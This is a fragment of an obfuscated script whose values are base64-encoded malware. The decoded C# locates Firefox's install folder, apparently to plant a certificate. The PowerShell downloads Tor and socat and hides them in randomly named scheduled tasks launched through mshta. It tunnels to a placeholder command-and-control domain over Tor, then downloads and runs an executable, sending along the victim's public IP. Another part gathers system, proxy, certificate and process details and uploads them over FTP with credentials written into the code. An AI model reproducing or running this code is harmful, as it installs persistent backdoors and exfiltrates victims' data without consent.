"c3RhbGwgbG9jYXRpb24ganVzdCBpbiBjYXNlCiAgICAgICAgUmVnaXN0cnlLZXkgbG9jYWxNYWNoaW5lMiA9IFJlZ2lzdHJ5Lkxv"+
"Y2FsTWFjaGluZS5PcGVuU3ViS2V5KEAiU09GVFdBUkVcV293NjQzMk5vZGVcTW96aWxsYVxNb3ppbGxhIEZpcmVmb3giLCBmYWxz"+
"ZSk7CgogICAgICAgIGlmIChsb2NhbE1hY2hpbmUxICE9IG51bGwpCiAgICAgICAgewogICAgICAgICAgICB0cnkKICAgICAgICAg"+
"ICAgewogICAgICAgICAgICAgICAgc3RyaW5nW10gaW5zdGFsbGVkVmVyc2lvbnMgPSBsb2NhbE1hY2hpbmUxLkdldFN1YktleU5h"+
"bWVzKCk7CiAgICAgICAgICAgICAgICAvLyB3ZSdsbCB0YWtlIHRoZSBmaXJzdCBpbnN0YWxsZWQgdmVyc2lvbiwgcGVvcGxlIG5v"+
"cm1hbGx5IG9ubHkgaGF2ZSBvbmUKICAgICAgICAgICAgICAgIGlmIChpbnN0YWxsZWRWZXJzaW9ucy5MZW5ndGggPT0gMCkKICAg"+
"ICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgSW5kZXhPdXRPZlJhbmdlRXhjZXB0aW9uKCJObyBpbnN0YWxscyBvZiBmaXJlZm94"+
"IHJlY29yZGVkIGluIGl0cyBrZXkuIik7CgogICAgICAgICAgICAgICAgUmVnaXN0cnlLZXkgbWFpbkluc3RhbGwgPSBsb2NhbE1h"+
"Y2hpbmUxLk9wZW5TdWJLZXkoaW5zdGFsbGVkVmVyc2lvbnNbMF0pOwoKICAgICAgICAgICAgICAgIC8vIGdldCBpbnN0YWxsIGRp"+
"cmVjdG9yeQogICAgICAgICAgICAgICAgc3RyaW5nIGluc3RhbGxTdHJpbmcgPSAoc3RyaW5nKW1haW5JbnN0YWxsLk9wZW5TdWJL"+
"ZXkoIk1haW4iKS5HZXRWYWx1ZSgiSW5zdGFsbCBEaXJlY3RvcnkiLCBudWxsKTsKCiAgICAgICAgICAgICAgICBpZiAoaW5zdGFs"+
"bFN0cmluZyA9PSBudWxsKQogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBOdWxsUmVmZXJlbmNlRXhjZXB0aW9uKCJJbnN0"+
"YWxsIHN0cmluZyB3YXMgbnVsbCIpOwoKICAgICAgICAgICAgICAgIGZwID0gbmV3IERpcmVjdG9yeUluZm8oaW5zdGFsbFN0cmlu"+
"Zyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbikKICAgICAgICAgICAgewogICAgICAgICAgICB9"+
"CiAgICAgICAgfQogICAgICAgIGVsc2UgaWYgKGxvY2FsTWFjaGluZTIgIT0gbnVsbCkKICAgICAgICB7CiAgICAgICAgICAgIHRy"+
"eQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzdHJpbmdbXSBpbnN0YWxsZWRWZXJzaW9ucyA9IGxvY2FsTWFjaGluZTIu"+
"R2V0U3ViS2V5TmFtZXMoKTsKICAgICAgICAgICAgICAgIC8vIHdlJ2xsIHRha2UgdGhlIGZpcnN0IGluc3RhbGxlZCB2ZXJzaW9u"+
"LCBwZW9wbGUgbm9ybWFsbHkgb25seSBoYXZlIG9uZQogICAgICAgICAgICAgICAgaWYgKGluc3RhbGxlZFZlcnNpb25zLkxlbmd0"+
"aCA9PSAwKQogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBJbmRleE91dE9mUmFuZ2VFeGNlcHRpb24oIk5vIGluc3RhbGxz"+
"IG9mIGZpcmVmb3ggcmVjb3JkZWQgaW4gaXRzIGtleS4iKTsKCiAgICAgICAgICAgICAgICBSZWdpc3RyeUtleSBtYWluSW5zdGFs"+
"bCA9IGxvY2FsTWFjaGluZTIuT3BlblN1YktleShpbnN0YWxsZWRWZXJzaW9uc1swXSk7CgogICAgICAgICAgICAgICAgLy8gZ2V0"+
"IGluc3RhbGwgZGlyZWN0b3J5CiAgICAgICAgICAgICAgICBzdHJpbmcgaW5zdGFsbFN0cmluZyA9IChzdHJpbmcpbWFpbkluc3Rh"+
"bGwuT3BlblN1YktleSgiTWFpbiIpLkdldFZhbHVlKCJJbnN0YWxsIERpcmVjdG9yeSIsIG51bGwpOwoKICAgICAgICAgICAgICAg"+
"IGlmIChpbnN0YWxsU3RyaW5nID09IG51bGwpCiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IE51bGxSZWZlcmVuY2VFeGNl"+
"cHRpb24oIkluc3RhbGwgc3RyaW5nIHdhcyBudWxsIik7CiAgICAgICAgICAgICAgICBmcCA9IG5ldyBEaXJlY3RvcnlJbmZvKGlu"+
"c3RhbGxTdHJpbmcpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24pCiAgICAgICAgICAgIHsKICAg"+
"ICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZnA7CiAgICB9Cn0KIkA7CltibWlvU2FhdUt4XTo6ZGdhaGhRb3l0"+
"ZUZLaWooKS5Td1EoIiVDRVJUJSIpOwp9CnRjWFF5d3FVU3FqSA==",
VCdOxEEAMWJp: "JFNIX1RZUEVfU0NIRURVTEVEX1RBU0s9MTsKJFNIX1RZUEVfVEFTS19TQ0hFRFVMRVI9MjsKJHNjaGVkdWxlclR5cGU9JFNIX1RZUEVfU0NIRURVTEVEX1RBU0s7CmZ1bmN0aW9uIERsa3UKewpwYXJhbShbc3RyaW5nXSR6aXBmaWxlLCBbc3RyaW5nXSRkZXN0aW5h"+
"dGlvbik7CiQ3eiA9IEpvaW4tUGF0aCAkZW52OkFMTFVTRVJTUFJPRklMRSAnN3phLmV4ZSc7CmlmICgtTk9UIChUZXN0LVBhdGggJDd6KSl7ClRyeQp7CihOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHBzOi8vY2hvY29s"+
"YXRleS5vcmcvN3phLmV4ZScsJDd6KTsKfQpDYXRjaHt9Cn0KaWYgKCQoVHJ5IHsgVGVzdC1QYXRoICQ3ei50cmltKCkgfSBDYXRjaCB7ICRmYWxzZSB9KSl7ClN0YXJ0LVByb2Nlc3MgIiQ3eiIgLUFyZ3VtZW50TGlzdCAieCAtb2AiJGRlc3RpbmF0aW9uYCIgLXkg"+
"YCIkemlwZmlsZWAiIiAtV2FpdCAtTm9OZXdXaW5kb3cKfQplbHNlewokc2hlbGwgPSBuZXctb2JqZWN0IC1jb20gc2hlbGwuYXBwbGljYXRpb247CiR6aXAgPSAkc2hlbGwuTmFtZVNwYWNlKCR6aXBmaWxlKTsKZm9yZWFjaCgkaXRlbSBpbiAkemlwLml0ZW1zKCkp"+
"CnsKJHNoZWxsLk5hbWVzcGFjZSgkZGVzdGluYXRpb24pLmNvcHloZXJlKCRpdGVtKTsKfQp9Cn0KZnVuY3Rpb24gQmFzZTY0VG9GaWxlCnsKcGFyYW0oW3N0cmluZ10kZmlsZSwgW3N0cmluZ10kc3RyaW5nKTsKJGJ5dGVzPVtTeXN0ZW0uQ29udmVydF06OkZyb21C"+
"YXNlNjRTdHJpbmcoJHN0cmluZyk7CiNzZXQtY29udGVudCAtZW5jb2RpbmcgYnl0ZSAkZmlsZSAtdmFsdWUgJGJ5dGVzOwpbSU8uRmlsZV06OldyaXRlQWxsQnl0ZXMoJGZpbGUsICRieXRlcyk7Cn0KZnVuY3Rpb24gUmFuZG9tU3RyaW5newogICAgcGFyYW0oW2lu"+
"dF0kbWluPTUsIFtpbnRdJG1heD0xNSk7CiAgICByZXR1cm4gKC1qb2luICgoNDguLjU3KSsoNjUuLjkwKSsoOTcuLjEyMikgfCBHZXQtUmFuZG9tIC1Db3VudCAoR2V0LVJhbmRvbSAtbWluaW11bSAkbWluIC1tYXhpbXVtICRtYXgpIHwgJSB7W2NoYXJdJF99KSk7"+
"Cn0KZnVuY3Rpb24gSW5pdFNjaGVkdWxsZXJ7CiAgICB0cnl7CiAgICAgICAgSW1wb3J0LU1vZHVsZSBTY2hlZHVsZWRUYXNrcyAtRXJyb3JBY3Rpb24gU3RvcDsKICAgICAgICByZXR1cm4gJFNIX1RZUEVfU0NIRURVTEVEX1RBU0s7CiAgICB9Y2F0Y2h7CiAgICAg"+
"ICAgJEZpbGU9JGVudjpUZW1wKydcJysoUmFuZG9tU3RyaW5nKSsnLnppcCc7CiAgICAgICAgJERlc3Q9JGVudjpUZW1wKydcJysoUmFuZG9tU3RyaW5nKTsKICAgICAgICB3aGlsZSAoIShKaEdqICdodHRwczovL2FwaS5udWdldC5vcmcvcGFja2FnZXMvdGFza3Nj"+
"aGVkdWxlci4yLjUuMjMubnVwa2cnICRGaWxlKSkge30KICAgICAgICBpZiAoKFRlc3QtUGF0aCAkRGVzdCkgLWVxIDEpe1JlbW92ZS1JdGVtIC1Gb3JjZSAtUmVjdXJzZSAkRGVzdDt9bWtkaXIgJERlc3QgfCBPdXQtTnVsbDsKICAgICAgICBEbGt1ICRGaWxlICRE"+
"ZXN0OwogICAgICAgIFJlbW92ZS1JdGVtIC1Gb3JjZSAkRmlsZTsKICAgICAgICAkVFNBc3NlbWJseT0kRGVzdCsnXGxpYlxuZXQyMFxNaWNyb3NvZnQuV2luMzIuVGFza1NjaGVkdWxlci5kbGwnOwogICAgICAgICRsb2FkTGliID0gW1N5c3RlbS5SZWZsZWN0aW9u"+
"LkFzc2VtYmx5XTo6TG9hZEZpbGUoJFRTQXNzZW1ibHkpOwogICAgICAgIHJldHVybiAkU0hfVFlQRV9UQVNLX1NDSEVEVUxFUjsKICAgIH0KfQpmdW5jdGlvbiBBZGRUYXNrCnsKcGFyYW0oW3N0cmluZ10kbmFtZSwgW3N0cmluZ10kY21kLCBbc3RyaW5nXSRwYXJh"+
"bXM9JycsW2ludF0kcmVzdGFydD0wLFtpbnRdJGRlbGF5PTAsW3N0cmluZ10kZGlyPScnKTsKc3dpdGNoICgkc2NoZWR1bGVyVHlwZSkgewogICAgJFNIX1RZUEVfU0NIRURVTEVEX1RBU0sgewogICAgICAgICRBY3Rpb24gPSBOZXctU2NoZWR1bGVkVGFza0FjdGlv"+
"biAtRXhlY3V0ZSAkY21kOwogICAgICAgIGlmKC1Ob3QgW1N0cmluZ106OklzTnVsbE9yRW1wdHkoJHBhcmFtcykpewogICAgICAgICAgICAkQWN0aW9uLkFyZ3VtZW50cz0kcGFyYW1zOwogICAgICAgIH0KICAgICAgICBpZigtTm90IFtTdHJpbmddOjpJc051bGxP"+
"ckVtcHR5KCRkaXIpKXsKICAgICAgICAgICAgJEFjdGlvbi5Xb3JraW5nRGlyZWN0b3J5PSRkaXI7CiAgICAgICAgfQogICAgICAgICRMb2dvblRyaWdnZXIgPSBOZXctU2NoZWR1bGVkVGFza1RyaWdnZXIgLUF0TG9nT247CiAgICAgICAgdHJ5ewogICAgICAgICAg"+
"ICAkTG9nb25UcmlnZ2VyLlVzZXJJZD0kZW52OnVzZXJuYW1lOwogICAgICAgIH1jYXRjaHsKICAgICAgICAgICAgJExvZ29uVHJpZ2dlci5Vc2VyPSRlbnY6dXNlcm5hbWU7CiAgICAgICAgfQogICAgICAgIGlmKC1Ob3QgJGRlbGF5IC1lcSAwKXsKICAgICAgICAg"+
"ICAgJExvZ29uVHJpZ2dlci5EZWxheT1OZXctVGltZVNwYW4gLVNlY29uZHMgJGRlbGF5OwogICAgICAgIH0KICAgICAgICBpZigkcmVzdGFydCAtZXEgMSl7CiAgICAgICAgICAgICRUaW1lVHJpZ2dlciA9IE5ldy1TY2hlZHVsZWRUYXNrVHJpZ2dlciAtT25jZSAt"+
"QXQgMTJhbSAtUmVwZXRpdGlvbkludGVydmFsIChbU3lzdGVtLlRpbWVTcGFuXTo6RnJvbU1pbnV0ZXMoMSkpIC1SZXBldGl0aW9uRHVyYXRpb24gKFtTeXN0ZW0uVGltZVNwYW5dOjpGcm9tRGF5cygzNjUgKiAyMCkpOwogICAgICAgIH0KICAgICAgICAkU2V0dGlu"+
"Z3MgPSBOZXctU2NoZWR1bGVkVGFza1NldHRpbmdzU2V0OwogICAgICAgICRTZXR0aW5ncy5EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllcyA9ICRGYWxzZTsKICAgICAgICAkU2V0dGluZ3MuU3RvcElmR29pbmdPbkJhdHRlcmllcyA9ICRGYWxzZTsKICAgICAgICBp"+
"ZigkcmVzdGFydCAtZXEgMSl7CiAgICAgICAgICAgICRUYXNrID0gUmVnaXN0ZXItU2NoZWR1bGVkVGFzayAtQWN0aW9uICRBY3Rpb24gLVRyaWdnZXIgJExvZ29uVHJpZ2dlciwkVGltZVRyaWdnZXIgLVNldHRpbmdzICRTZXR0aW5ncyAtVGFza05hbWUgJG5hbWUg"+
"LURlc2NyaXB0aW9uIChSYW5kb21TdHJpbmcpOwogICAgICAgIH1lbHNlewogICAgICAgICAgICAkVGFzayA9IFJlZ2lzdGVyLVNjaGVkdWxlZFRhc2sgLUFjdGlvbiAkQWN0aW9uIC1UcmlnZ2VyICRMb2dvblRyaWdnZXIgLVNldHRpbmdzICRTZXR0aW5ncyAtVGFz"+
"a05hbWUgJG5hbWUgLURlc2NyaXB0aW9uIChSYW5kb21TdHJpbmcpOwogICAgICAgIH0KICAgICAgICBTdGFydC1TY2hlZHVsZWRUYXNrIC1JbnB1dE9iamVjdCAkVGFzazsKICAgIH07CiAgICBEZWZhdWx0IHsKICAgICAgICAkdHM9TmV3LU9iamVjdCBNaWNyb3Nv"+
"ZnQuV2luMzIuVGFza1NjaGVkdWxlci5UYXNrU2VydmljZTsKICAgICAgICAkdGQ9JHRzLk5ld1Rhc2soKTsKICAgICAgICAkdGQuUmVnaXN0cmF0aW9uSW5mby5EZXNjcmlwdGlvbiA9IChSYW5kb21TdHJpbmcpOwogICAgICAgICR0ZC5TZXR0aW5ncy5EaXNhbGxv"+
"d1N0YXJ0SWZPbkJhdHRlcmllcyA9ICRGYWxzZTsKICAgICAgICAkdGQuU2V0dGluZ3MuU3RvcElmR29pbmdPbkJhdHRlcmllcyA9ICRGYWxzZTsKICAgICAgICAkdGQuU2V0dGluZ3MuTXVsdGlwbGVJbnN0YW5jZXMgPSBbTWljcm9zb2Z0LldpbjMyLlRhc2tTY2hl"+
"ZHVsZXIuVGFza0luc3RhbmNlc1BvbGljeV06Oklnbm9yZU5ldzsKICAgICAgICAkTG9nb25UcmlnZ2VyID0gTmV3LU9iamVjdCBNaWNyb3NvZnQuV2luMzIuVGFza1NjaGVkdWxlci5Mb2dvblRyaWdnZXI7CiAgICAgICAgJExvZ29uVHJpZ2dlci5TdGFydEJvdW5k"+
"YXJ5PVtTeXN0ZW0uRGF0ZVRpbWVdOjpOb3c7CiAgICAgICAgJExvZ29uVHJpZ2dlci5Vc2VySWQ9JGVudjp1c2VybmFtZTsKICAgICAgICAkTG9nb25UcmlnZ2VyLkRlbGF5PVtTeXN0ZW0uVGltZVNwYW5dOjpGcm9tU2Vjb25kcygkZGVsYXkpOwogICAgICAgICR0"+
"ZC5UcmlnZ2Vycy5BZGQoJExvZ29uVHJpZ2dlcik7CiAgICAgICAgaWYoJHJlc3RhcnQgLWVxIDEpewogICAgICAgICRUaW1lVHJpZ2dlciA9IE5ldy1PYmplY3QgTWljcm9zb2Z0LldpbjMyLlRhc2tTY2hlZHVsZXIuVGltZVRyaWdnZXI7CiAgICAgICAgJFRpbWVU"+
"cmlnZ2VyLlN0YXJ0Qm91bmRhcnk9W1N5c3RlbS5EYXRlVGltZV06Ok5vdzsKICAgICAgICAkVGltZVRyaWdnZXIuUmVwZXRpdGlvbi5JbnRlcnZhbD1bU3lzdGVtLlRpbWVTcGFuXTo6RnJvbU1pbnV0ZXMoMSk7CiAgICAgICAgJFRpbWVUcmlnZ2VyLlJlcGV0aXRp"+
"b24uU3RvcEF0RHVyYXRpb25FbmQ9JEZhbHNlOwogICAgICAgICR0ZC5UcmlnZ2Vycy5BZGQoJFRpbWVUcmlnZ2VyKTsKICAgICAgICB9CiAgICAgICAgJHRzZj0iTWljcm9zb2Z0LldpbjMyLlRhc2tTY2hlZHVsZXIiOwogICAgICAgICRFeGVjQWN0aW9uPU5ldy1P"+
"YmplY3QgIiR0c2YuRXhlY0FjdGlvbiIoJGNtZCwkcGFyYW1zLCRkaXIpOwogICAgICAgICR0ZC5BY3Rpb25zLkFkZCgkRXhlY0FjdGlvbik7CiAgICAgICAgJHRhc2s9JHRzLlJvb3RGb2xkZXIuUmVnaXN0ZXJUYXNrRGVmaW5pdGlvbigkbmFtZSwgJHRkKTsKICAg"+
"ICAgICAkdGFzay5SdW4oKTsKICAgIH07Cn0KfQpmdW5jdGlvbiBKaEdqIHsKICAgIHBhcmFtKFtzdHJpbmddJHBtZSwgW3N0cmluZ10kV1dIVWNldU5xbGpTUik7CiAgICAkRXJyb3JBY3Rpb25QcmVmZXJlbmNlID0gIlN0b3AiOwogICAgV3JpdGUtSG9zdCAoIkRv"+
"d25sb2FkIHswfSB0byB7MX0iIC1mICgkcG1lLCAkV1dIVWNldU5xbGpTUikpOwogICAgdHJ5IHsKICAgICAgICBTdGFydC1CaXRzVHJhbnNmZXIgLVNvdXJjZSAkcG1lIC1EZXN0aW5hdGlvbiAkV1dIVWNldU5xbGpTUjsKICAgIH0KICAgIGNhdGNoIHsKICAgICAg"+
"ICAjV3JpdGUtRXJyb3IgJF8gLUVycm9yQWN0aW9uIENvbnRpbnVlOwogICAgICAgIHRyeSB7CiAgICAgICAgICAgIChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJHBtZSwkV1dIVWNldU5xbGpTUik7CiAgICAgICAgfQogICAg"+
"ICAgIGNhdGNoIHsKICAgICAgICAgICAgI1dyaXRlLUVycm9yICRfIC1FcnJvckFjdGlvbiBDb250aW51ZTsKICAgICAgICAgICAgU3RhcnQtUHJvY2VzcyAiY21kLmV4ZSIgLUFyZ3VtZW50TGlzdCAiL2IgL2MgYml0c2FkbWluIC90cmFuc2ZlciAvZG93bmxvYWQg"+
"L3ByaW9yaXR5IEhJR0ggYCIkcG1lYCIgYCIkV1dIVWNldU5xbGpTUmAiIiAtV2FpdCAtV2luZG93U3R5bGUgSGlkZGVuOwogICAgICAgIH0KICAgIH1maW5hbGx5ewogICAgICAgICRFcnJvckFjdGlvblByZWZlcmVuY2UgPSAiQ29udGludWUiOwogICAgfQogICAg"+
"aWYgKCAkKFRyeSB7IFRlc3QtUGF0aCAkV1dIVWNldU5xbGpTUi50cmltKCkgfSBDYXRjaCB7ICRmYWxzZSB9KSl7CiAgICAgICAgcmV0dXJuICR0cnVlOwogICAgfQogICAgcmV0dXJuICRmYWxzZTsKfQpmdW5jdGlvbiBkZUlQTXV6dHFsewokc2NoZWR1bGVyVHlw"+
"ZSA9IEluaXRTY2hlZHVsbGVyOwokdGY9JGVudjpUZW1wKydcJysoUmFuZG9tU3RyaW5nKSsnLnppcCc7CiREZXN0VFA9JGVudjpBTExVU0VSU1BST0ZJTEUrJ1wnKyhSYW5kb21TdHJpbmcpOwokVG9yTWlycm9ycz1AKCJodHRwczovL2Rpc3QudG9ycHJvamVjdC5v"+
"cmcvIiwKImh0dHBzOi8vdG9ycHJvamVjdC5taXJyb3IubWV0YWxnYW1lci5ldS9kaXN0LyIsCiJodHRwczovL3Rvci55YnRpLm5ldC9kaXN0LyIpOwpmb3JlYWNoICgkbWlycm9yIGluICRUb3JNaXJyb3JzKSB7CiAgICAkX3VybD0kbWlycm9yKyd0b3Jicm93c2Vy"+
"LzcuMC4xMS90b3Itd2luMzItMC4zLjEuOS56aXAnOwogICAgaWYoKEpoR2ogJF91cmwgJHRmKSl7CiAgICAgICAgYnJlYWs7CiAgICB9Cn0KaWYgKChUZXN0LVBhdGggJERlc3RUUCkgLWVxIDEpe1JlbW92ZS1JdGVtIC1Gb3JjZSAtUmVjdXJzZSAkRGVzdFRQO31t"+
"a2RpciAkRGVzdFRQIHwgT3V0LU51bGw7CkRsa3UgJHRmICREZXN0VFA7ClJlbW92ZS1JdGVtIC1Gb3JjZSAkdGY7CiR1UnJLUEZKZUFDbFJheT0kRGVzdFRQKydcVG9yXCc7CiRzcUo9InZic2NyaXB0OmNsb3NlKENyZWF0ZU9iamVjdChgIldTY3JpcHQuU2hlbGxg"+
"IikuUnVuKGAidG9yLmV4ZWAiLDAsRmFsc2UpKSI7CkFkZFRhc2sgKFJhbmRvbVN0cmluZykgJ21zaHRhLmV4ZScgJHNxSiAwIDAgJHVScktQRkplQUNsUmF5OwokU0ZpbGU9JGVudjpUZW1wKydcJysoUmFuZG9tU3RyaW5nKSsnLnppcCc7CndoaWxlICghKEpoR2og"+
"J2h0dHBzOi8vZ2l0aHViLmNvbS9TdHVkaW9FdHJhbmdlL3NvY2F0LXdpbmRvd3MvYXJjaGl2ZS8xLjcuMi4xLnppcCcgJFNGaWxlKSl7fQpEbGt1ICRTRmlsZSAkRGVzdFRQOwokc19vbGQ9JERlc3RUUCsnXHNvY2F0LXdpbmRvd3MtMS43LjIuMVwnOwokc19uZXc9"+
"KFJhbmRvbVN0cmluZyk7ClJlbW92ZS1JdGVtIC1Gb3JjZSAkU0ZpbGU7ClJlbmFtZS1JdGVtIC1wYXRoICRzX29sZCAtbmV3TmFtZSAkc19uZXc7CiRZRWFZSGFQaVBzRj0kRGVzdFRQKydcJyskc19uZXcrJ1wnOwokczFjbWQ9J3NvY2F0IHRjcDQtTElTVEVOOjU1"+
"NTUscmV1c2VhZGRyLGZvcmssa2VlcGFsaXZlLGJpbmQ9MTI3LjAuMC4xIFNPQ0tTNEE6MTI3LjAuMC4xOiVET01BSU4lOjgwLHNvY2tzcG9ydD05MDUwJzsKJHMyY21kPSdzb2NhdCB0Y3A0LUxJU1RFTjo1NTg4LHJldXNlYWRkcixmb3JrLGtlZXBhbGl2ZSxiaW5k"+
"PTEyNy4wLjAuMSBTT0NLUzRBOjEyNy4wLjAuMTolRE9NQUlOJTo1NTg4LHNvY2tzcG9ydD05MDUwJzsKJEhNdEpvamlOVU89InZic2NyaXB0OmNsb3NlKENyZWF0ZU9iamVjdChgIldTY3JpcHQuU2hlbGxgIikuUnVuKGAiJHMxY21kYCIsMCxGYWxzZSkpIjsKJGdv"+
"VkdXcG9YRktPd0FkVz0idmJzY3JpcHQ6Y2xvc2UoQ3JlYXRlT2JqZWN0KGAiV1NjcmlwdC5TaGVsbGAiKS5SdW4oYCIkczJjbWRgIiwwLEZhbHNlKSkiOwpBZGRUYXNrIChSYW5kb21TdHJpbmcpICdtc2h0YS5leGUnICRITXRKb2ppTlVPIDAgMCAkWUVhWUhhUGlQ"+
"c0Y7CkFkZFRhc2sgKFJhbmRvbVN0cmluZykgJ21zaHRhLmV4ZScgJGdvVkdXcG9YRktPd0FkVyAwIDAgJFlFYVlIYVBpUHNGOwokdWVmWUNEZ05QPSJ2YnNjIisicmlwdDpjbG9zZShDcmVhdGVPYmplY3QoYCJXU2NyaXB0LlNoZWxsYCIpLlJ1bihgInBvd2Vyc2hl"+
"bGwuZXhlIGAiYCJgJEY9YCRlbnY6VGVtcCsnXFwiKyhSYW5kb21TdHJpbmcpKyIuZXhlJztybSAtRm9yY2UgYCRGO2AkY2w9KE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCk7YCRjbC5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly8xMjcuMC4wLjE6NTU1NS8iKyhSYW5kb21T"+
"dHJpbmcpKyIuYXNwP3RzJmlwPScrYCRjbC5Eb3dubG9hZGAiK2AiU3RyaW5nKCdodHRwOi8vYXBpLmlwaWZ5Lm9yZy8nKSxgJEYpOyYgYCRGYCJgImAiLDAsRmFsc2UpKSI7CkFkZFRhc2sgKFJhbmRvbVN0cmluZykgJ21zaHRhLmV4ZScgJHVlZllDRGdOUCAxOwp9"+
"CmRlSVBNdXp0cWw7",
CqufLn: "JExvZ2ZpbGUgPSAkZW52OlRlbXArIlxcJChnYyBlbnY6Y29tcHV0ZXJuYW1lKS5sb2ciOwoKRnVuY3Rpb24gTG9nV3JpdGUKewogIFBhcmFtIChbc3RyaW5nXSRsb2dzdHJpbmcpCiAgJGR0PUdldC1EYXRlIC1Gb3JtYXQgImRkLk1NLnl5eXkgSEg6bW06c3MiOwog"+
"ICRtc2c9W3N0cmluZ106OkZvcm1hdCgiW3swfV06Olt7MX1dIiwkZHQsJGxvZ3N0cmluZyk7CiAgV3JpdGUtSG9zdCAkbXNnOwogIEFkZC1jb250ZW50ICRMb2dmaWxlIC12YWx1ZSAkbXNnOwp9CkZ1bmN0aW9uIFVwbG9hZExvZwp7CiAgJGRlc3QgPSAiZnRwOi8v"+
"U0lFX0xpbmtvcGluZzpWYzE5dHlAMjEzLjIxMi41LjE2NiI7CiAgJHdlYmNsaWVudCA9IE5ldy1PYmplY3QgLVR5cGVOYW1lIFN5c3RlbS5OZXQuV2ViQ2xpZW50OwogICR3ZWJjbGllbnQuVXBsb2FkRmlsZSgiJGRlc3QvJChnYyBlbnY6Y29tcHV0ZXJuYW1lKS5s"+
"b2ciLCAkTG9nZmlsZSk7CiAgUmVtb3ZlLUl0ZW0gLVBhdGggJExvZ2ZpbGU7Cn0KZnVuY3Rpb24gQ2hlY2tJbnN0YWxsKCl7CiAgJHdpbmluZm8gPSAoR2V0LVdtaU9iamVjdCBXaW4zMl9PcGVyYXRpbmdTeXN0ZW0gfCBTZWxlY3QgQ2FwdGlvbiwgU2VydmljZVBh"+
"Y2tNYWpvclZlcnNpb24sIE9TQXJjaGl0ZWN0dXJlLCBWZXJzaW9uLCBNVUlMYW5ndWFnZXMpOwogICR3aW5pbmZvLk1VSUxhbmd1YWdlcz0kd2luaW5mby5NVUlMYW5ndWFnZXMgLWpvaW4gIiwiOwogIExvZ1dyaXRlKCJPUyBpbmZvOiB7MH0iIC1mICR3aW5pbmZv"+
"IC1qb2luICIiKTsKICBpZiAodGVzdC1wYXRoIHZhcmlhYmxlOnBzdmVyc2lvbnRhYmxlKSB7CiAgICAkdmVyc2lvbiA9ICRwc3ZlcnNpb250YWJsZS5wc3ZlcnNpb247CiAgfSBlbHNlIHsKICAgICR2ZXJzaW9uID0gW3ZlcnNpb25dIjEuMC4wLjAiOwogIH0KICBM"+
"b2dXcml0ZSgiUG93ZXJzaGVsbCB2ZXJzaW9uOiB7MH0iIC1mICR2ZXJzaW9uKTsKICB0cnkgewogICAgJHBhYz1HZXQtSXRlbVByb3BlcnR5ICdoa2N1OlxTb2Z0d2FyZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcSW50ZXJuZXQgU2V0dGlu"+
"Z3NcJ3xTZWxlY3QgLWV4cGFuZCBBdXRvQ29uZmlnVVJMIC1FcnJvckFjdGlvbiBTdG9wOwogICAgTG9nV3JpdGUoIlBhYyBzZXR0ZWQ6ICckcGFjJyIpOwogIH0KICBjYXRjaCB7CiAgICBMb2dXcml0ZSgiRVJST1I6IFBhYyBub3Qgc2V0dGVkIik7CiAgfQogICRD"+
"ZXJ0cyA9IEAoR2V0LUNoaWxkSXRlbSBjZXJ0OlxDdXJyZW50VXNlclxST09UfFdoZXJlLU9iamVjdCB7JF8uU3ViamVjdCAtbGlrZSAiKkNPTU9ETyBSU0EgRXh0ZW5kZWQgVmFsaWRhdGlvbiBTZWN1cmUgU2VydmVyIENBIDIqIn18Rm9yRWFjaC1PYmplY3QgeyJ7"+
"MH0gKHsxfSkiIC1mICgkXy5UaHVtYnByaW50LCRfLk5vdEJlZm9yZSl9KTsKICBpZiAoLU5PVCAkQ2VydHMuY291bnQgLWVxIDApewogICAgTG9nV3JpdGUoIkNlcnRzIGluc3RhbGxlZDogJ3swfSciIC1mICgkQ2VydHMgLWpvaW4gIjsgIikpOwogIH1lbHNlIHsK"+
"ICAgIExvZ1dyaXRlKCJDZXJ0cyBub3QgZm91bmQiKTsKICB9CiAgdHJ5ewogICAgJHByb2MgPSBHZXQtUHJvY2VzcyB8IFdoZXJlLU9iamVjdCB7JF8uUHJvY2Vzc05hbWUgLWxpa2UgInRvcioiIC1vciAkXy5Qcm9jZXNzTmFtZSAtbGlrZSAic29jYXQqIn18U2Vs"+
"ZWN0IC1Qcm9wZXJ0eSBAeyBOYW1lPSJPdXQiOyBFeHByZXNzaW9uPXsiSUQ6ezB9YG5OYW1lOnsxfWBuUGF0aDp7Mn1gbi0tLS0tLS0tLS0tLS0iIC1mICRfLklkLCRfLlByb2Nlc3NOYW1lLCRfLlBhdGh9fXxTZWxlY3QgLWV4cGFuZCBPdXQ7CiAgICBMb2dXcml0"+
"ZSgiUHJvY2Nlc3MgbGlzdDpgbnswfSIgLWYgKCRwcm9jIC1qb2luICJgbiIpKTsKICB9CiAgY2F0Y2ggewogICAgTG9nV3JpdGUoIkVSUk9SOiBDYW4ndCBnZXQgcHJvY2Nlc3MgbGlzdCIpOwogIH0KICAkRGVzdFRQPSRlbnY6QUxMVVNFUlNQUk9GSUxFOwogIHRy"+
"eXsKICAgICRkaXJzPWRpcigkRGVzdFRQKSAtRXJyb3JBY3Rpb24gU3RvcDsKICAgIExvZ1dyaXRlKCJMaXN0IGRpciBbezB9XTogezF9IiAtZiAoJERlc3RUUCwgKCgkZGlyc3xTZWxlY3QgLWV4cGFuZCBOYW1lKSAtam9pbiAiOyAiKSkpOwogICAgZm9yZWFjaCgk"+
